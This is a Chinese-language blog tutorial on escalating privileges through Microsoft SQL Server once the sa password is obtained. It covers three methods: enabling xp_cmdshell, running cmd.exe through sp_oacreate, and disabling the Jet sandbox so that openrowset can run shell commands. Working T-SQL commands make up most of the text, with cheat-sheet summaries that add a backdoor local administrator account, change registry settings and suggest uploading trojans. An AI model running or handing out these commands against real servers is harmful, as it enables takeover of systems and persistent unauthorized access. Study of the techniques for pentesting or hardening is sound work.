一、简介

在利用系统溢出漏洞没有效果的情况下,可以采用数据库进行提权。

数据库提权的前提条件:

1、服务器开启数据库服务
2、获取到最高权限用户密码
(除Access数据库外,其他数据库基本都存在数据库提权的可能)

二、使用xp_cmdshell进行提权

假设条件:
1、已得到 sql server 的sa权限
2、sql server开启外联

本次搭建环境,数据库密码存放文件在,可以通过webshell读取网站配置文件或者数据库文件(sql server的数据库文件存储格式是mdf)
在这里插入图片描述

2.1 提权过程

使用sql server的客户端连接数据库

sql sever有一个自带的系统数据库master,而xp_cmdshell在 存储过程、扩展存储过程中
在这里插入图片描述
查看扩展存储过程,如果其中含有 sys.xp_cmdshell 说明目标网站没有删除该组件,只是默认把该组件禁止,如果没有看到该组件说明已删除xp_cmdshell,那么可以上传dll文件进行删除,其中dll文件要根据sql server 数据库版本进行选择
在这里插入图片描述
选择数据库后,再进行新建查询
在这里插入图片描述
执行命令后,报错提示 xp_cmdshell 被关闭

EXEC master.dbo.xp_cmdshell 'whoami'

在这里插入图片描述
那么就使用开启 xp_cmdshell 的命令(只有sa权限才可以开启)

EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

在这里插入图片描述
开启 xp_cmdshell 之后,再次执行 EXEC master.dbo.xp_cmdshell 'whoami' 命令,成功提权到system权限。
在这里插入图片描述
在这里插入图片描述

简单总结:

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。

启用:
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

关闭:
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

执行:
EXEC master.dbo.xp_cmdshell '命令'

如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

三、使用sp_oacreate进行提权

执行命令后,报错提示 sp_oacreate组件 被关闭

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

(调用cmd.exe执行命令,如果cmd.exe无法调用或者被删除的话,可以自己上传一个cmd.exe进行调用。除了cmd.exe也可以上传一些木马程序进行执行)
在这里插入图片描述
那么就使用开启 xp_cmdshell 的命令(只有sa权限才可以开启)

EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   

在这里插入图片描述
开启之后,whoami查看权限
在这里插入图片描述
在这里插入图片描述

简单总结

启用:
EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   

关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 0;   
RECONFIGURE WITH OVERRIDE;  

执行:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

以上是使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。

四、使用SQL Server 沙盒提权

什么是沙盒?

沙盒(英语:sandbox,又译为沙箱),计算机专业术语,在计算机安全领域中是一种安全机制,为运行中的程序提供的隔离环境。通常是作为一些来源不可信、具破坏力或无法判定程序意图的程序提供实验之用。

提权操作

执行添加管理员的命令后,报错如下图所示:

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

在这里插入图片描述
那么输入以下命令,启用Ad Hoc Distributed Queries:

exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;

在这里插入图片描述

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

在这里插入图片描述
执行添加一个管理员 margin 命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

在这里插入图片描述
net user 查看,发现margin用户成功添加
在这里插入图片描述
将margin用户提升到超级管理员权限

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

在这里插入图片描述
net localgroup administrators 查看超级管理员组账户有margin
在这里插入图片描述

简单总结

--提权语句

exec sp_configure 'show advanced options',1;reconfigure;

-- 不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators margin /add")')

沙盒模式SandBoxMode参数含义(默认是2)

`0`:在任何所有者中禁止启用安全模式

`1` :为仅在允许范围内

`2` :必须在access模式下

`3`:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库OLE DB是应用程序链接到SQL Server的的驱动程序。

--恢复配置

--exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

--exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;

--exec sp_configure 'show advanced options',0;reconfigure;

参考链接:https://blog.51cto.com/11797152/2411770

注意:这三种提权方式,sql server 2008及以前版本都适用,2012的版本应该可以适用,2016版本比较复杂,没测试过。
目前最多的还是 2008 与 2012 版本 较多

更多资源:

1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程

收集整理在知识星球,可加入知识星球进行查看。
在这里插入图片描述

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐